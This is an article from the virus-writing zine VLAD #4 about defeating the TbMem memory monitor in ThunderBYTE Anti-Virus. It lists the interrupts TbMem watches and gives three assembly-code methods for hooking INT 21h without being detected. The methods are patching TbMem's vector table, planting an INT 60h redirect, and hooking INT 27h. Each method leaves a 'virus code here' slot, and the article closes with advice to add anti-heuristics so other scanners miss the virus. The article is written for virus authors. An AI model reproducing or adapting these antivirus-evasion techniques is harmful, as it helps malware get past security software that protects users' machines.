Virus Labs & Distribution
VLAD #4 - TBMem Flaws


			 
			 T B M E M   F L A W S
			       Written by
			      Darkman/VLAD


ÄÄÄÄÄÄÄÄÄÄÄÄ
Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄ

  This document is another example of how to make a program resident in memory
without the memory resident of ThunderBYTE Anti-Virus: TbMem detects it. This
document also covers which interrupts are hooked by TbMem and which interrupts
are monitored by TbMem. All examples in this document will hook interrupt 21h.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thunderbyte B.V. about TbMem
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

     Controlling memory: TbMem

     TbMem detects attempts from programs to remain resident in memory, and
     ensures that no program can remain resident in memory without permis-
     sion. Since most viruses remain resident in memory, this is a powerful
     weapon against all such viruses, known or unknown. Permission informa-
     tion is maintained in the Anti-Vir.Dat files. TbMem also protects your
     CMOS memory against unwanted modifications.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Interrupts hooked by TbMem
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

These interrupts are hooked by TbMem:
					   
  INT 09h (IRQ 1  Keyboard)                [TBSeg:0269]
  INT 2Fh (Software Multiplex)             [TBSeg:00DB]

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Interrupts monitored by TbMem
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

These interrupts are monitored by TbMem:

  INT 08h (IRQ 0  System timer)            [TBSeg:0060]
  INT 09h (IRQ 1  Keyboard)                [TBSeg:0064]
  INT 10h (BIOS System Video Services)     [TBSeg:0068]
  INT 13h (BIOS Fixed disk/FDD Services)   [TBSeg:004C]
  INT 15h (BIOS System Services)           [TBSeg:0088]
  INT 16h (BIOS Keyboard Services)         [TBSeg:006C]
  INT 17h (BIOS Printer Services (LPT))    [TBSeg:007C]
  INT 1Ah (BIOS Real-Time Clock Services)  [TBSeg:0074]
  INT 1Ch (BIOS User Timer Tick)           [TBSeg:005C]
  INT 20h (DOS Program Terminate)          [TBSeg:0050]
  INT 21h (DOS Function call)              [TBSeg:0054]
  INT 26h (DOS Absolute Disk Write)        [TBSeg:0090]
  INT 28h (DOS Idle)                       [TBSeg:0070]
  INT 29h (DOS Fast Console Output)        [TBSeg:0078]
  INT 2Ah (Local Area Network)             [TBSeg:0098]
  INT 2Fh (Software Multiplex)             [TBSeg:0058]
  INT 40h (BIOS Diskette Service)          [TBSeg:008C]
  INT 50h (BIOS Reserved)                  [TBSeg:0094]
  INT 70h (IRQ 8  AT Real Time Clock)      [TBSeg:0080]
  INT 76h (IRQ 14 AT Fixed Disk)           [TBSeg:0084]

  TbMem will also warn the user if INT 27h (DOS Terminate and Stay Res.) or
INT 21h, function 31h (DOS Function call, Terminate but stay resident) is
called.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
How to trick TbMem 1/3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The below code must be included to trick TbMem 1/3:

  1. Hook interrupt 21h.
  2. Modify TbMems interrupt vector table.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Hook interrupt 21h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The below code shows an example of how to hook interrupt 21h:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt table
	     lea     di,int21adr         ; DI = offset of int21adr
	     mov     si,(21h*04h)        ; SI = offset of interrupt 21h
	     movsw                       ; Store address of interrupt 21h \
	     movsw                       ; in int21adr                    /
	     mov     word ptr ds:[21h*04h],offset int21handler
	     mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
	     pop     ds                  ; Load DS from stack
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Modify TbMems interrupt vector table
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

  The below code shows an example of how to modify TbMems interrupt vector
table:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt vectors
	     mov     ds,ds:[09h*04+02h]  ; DS = Segment of TbMem
	     mov     word ptr ds:[0054h],offset int21handler
	     mov     ds:[0056h],es       ; Modify the segment of interrupt 21h
	     push    ds                  ; Save DS at stack
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
How to trick TbMem 2/3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code must be included to trick TbMem 2/3:

  1. Installation check.
  2. Hook interrupt 60h.
  3. Modify TbDrivers interrupt 21h.
  4. Interrupt 60h handler.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Installation check
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

  The below code shows an example of how to check if the trick allready has
been installed:

;------------------------------------------------------------=< cut here >=---
	     mov     ax,63ffh            ; Interrupt 21h service
	     int     21h                 ; Do it!
	     cmp     ax,bx               ; Already resident?
	     je      trickexit           ; Equal? Jump to trickexit

; Trick TbMem here...

trickexit:
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Hook interrupt 60h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The below code shows an example of how to hook interrupt 60h:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt table
	     mov     word ptr ds:[60h*04h],offset int60handler
	     mov     ds:[60h*04h+02h],es ; Intercept interrupt 60h
	     pop     ds                  ; Load DS from stack
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Modify TbDrivers interrupt 21h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The below code shows an example of how to modify TbDrivers interrupt 21h:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt vectors
	     lds     si,ds:[21h*04h]     ; Get address of interrupt 21h
	     mov     [si],060cdh         ; Write a INT 60h instruction
	     pop     ds                  ; Load DS from stack
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Interrupt 60h handler
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code shows an example of an interrupt 60h handler:

;------------------------------------------------------------=< cut here >=---
int60handler proc    near                ; Interrupt 60h handler
	     cmp     ax,63ffh            ; Interrupt 60h service?
	     je      int60servi          ; Equal? Jump to int60servi

; Virus code here...

	     iret                        ; Interrupt return!
int60servi:
	     mov     bx,ax
	     iret                        ; Interrupt return!
	     endp
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
How to trick TbMem 3/3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code must be included to trick TbMem 3/3:

  1. Installation check.
  2, Hook interrupt 27h.
  3. Interrupt 27h handler.
  4. Interrupt 21h handler.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Installation check
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

  The below code shows an example of how to check if the trick allready has
been installed:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt vectors
	     lds     si,ds:[27h*04h]     ; Get address of interrupt 27h
	     cmp     [si],5350h          ; Interrupt 27h hooked?
	     pop     ds                  ; Load DS from stack
	     je      trickexit           ; Already hooked? Jump to trickexit

; Trick TbMem here...

trickexit:
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Hook interrupt 27h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code shows an example of how to hook interrupt 27h:

;------------------------------------------------------------=< cut here >=---
	     push    ds                  ; Save DS at stack
	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt table
	     lea     di,int27adr         ; DI = offset of int27adr
	     mov     si,(27h*04h)        ; SI = offset of interrupt 27h
	     movsw                       ; Store address of interrupt 27h \
	     movsw                       ; in int27adr                    /
	     mov     word ptr ds:[27h*04h],offset int27handler
	     mov     ds:[27h*04h+02h],es ; Intercept interrupt 27h
	     pop     ds                  ; Load DS from stack
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Interrupt 27h handler
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code shows an example of an interrupt 27h handler:

;------------------------------------------------------------=< cut here >=---
int27handler proc    near                ; Interrupt 27h handler
	     push    ax                  ; Save AX at stack
	     push    bx                  ; Save BX at stack

	     mov     ax,63feh            ; Interrupt 21h service
	     int     21h                 ; Do it!
	     cmp     ax,bx               ; Already resident?
	     je      int27exit           ; Equal? Jump to int27exit

	     push    di                  ; Save DI at stack
	     push    si                  ; Save SI at stack
	     push    ds                  ; Save DS at stack
	     push    es                  ; Save ES at stack

	     xor     ax,ax               ; Clear AX
	     mov     ds,ax               ; DS = segment of interrupt table
	     push    cs                  ; Save CS at stack
	     pop     es                  ; Load ES from stack
	     lea     di,int21adr         ; DI = offset of int21adr
	     mov     si,(21h*04h)        ; SI = offset of interrupt 21h
	     movsw                       ; Store address of interrupt 21h \
	     movsw                       ; in int21adr                    /
	     mov     word ptr ds:[21h*04h],offset int21handler
	     mov     ds:[21h*04h+02h],cs ; Intercept interrupt 21h

	     pop     es                  ; Load ES from stack
	     pop     ds                  ; Load DS from stack
	     pop     si                  ; Load SI from stack
	     pop     di                  ; Load DI from stack
int27exit:
	     pop     bx                  ; Load BX from stack
	     pop     ax                  ; Load AX from stack

	     db      0eah                ; Object code of jump far
int27adr     dd      ?                   ; Address of interrupt 27h
	     endp
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Interrupt 21h handler
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

The below code shows an example of an interrupt 21h handler:

;------------------------------------------------------------=< cut here >=---
int21handler proc    near                ; Interrupt 21h handler
	     cmp     ax,63feh            ; Interrupt 21h service?
	     je      int21servi          ; Equal? Jump to int21servi

; Virus code here...

	     db      0eah                ; Object code of jump far
int21adr     dd      ?                   ; Address of interrupt 21h
int21servi:
	     mov     bx,ax
	     iret                        ; Interrupt return!
	     endp
;------------------------------------------------------------=< cut here >=---

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
Final tips and tricks
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

- Detect TbMem before using these tricks.
- These examples were tested with ThunderBYTE Anti-Virus v 6.32.
- Use a lot anti-heuristics, so other programs can't find the virus either.
- Look also at Catch-22 by Rhincewind/VLAD.
- VLAD #4 INDEX -
ARTICLE.0_0       Hidden Area Story By QuantumG

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

Tax Office
ARTICLE.2_2       Fight Back!
ARTICLE.2_3       Interviews
ARTICLE.2_4       Cryptanalysis
ARTICLE.2_5       Slovakia
ARTICLE.2_6       TBMem Flaws
ARTICLE.2_7       F-Prot Troubles

ARTICLE.3_1      

Win Infection
ARTICLE.3_2       WinVir14 Disasm
ARTICLE.3_3       Andropinis
ARTICLE.3_4       Super Virus-2
ARTICLE.3_5       VTBoot
ARTICLE.3_6       Ebbelwoi VQ7
ARTICLE.3_7       Unix Viruses

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Ender Wiggin
ARTICLE.4_3       WinSurfer
ARTICLE.4_4       Antipode 2.0
ARTICLE.4_5       Bane
ARTICLE.4_6       RHINCE
ARTICLE.4_7       Tasha Yar

ARTICLE.5_1      

Replicator
ARTICLE.5_2       ART v2.2
ARTICLE.5_3       Good Times!
ARTICLE.5_4       DOS Idle
ARTICLE.5_5       Neither
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main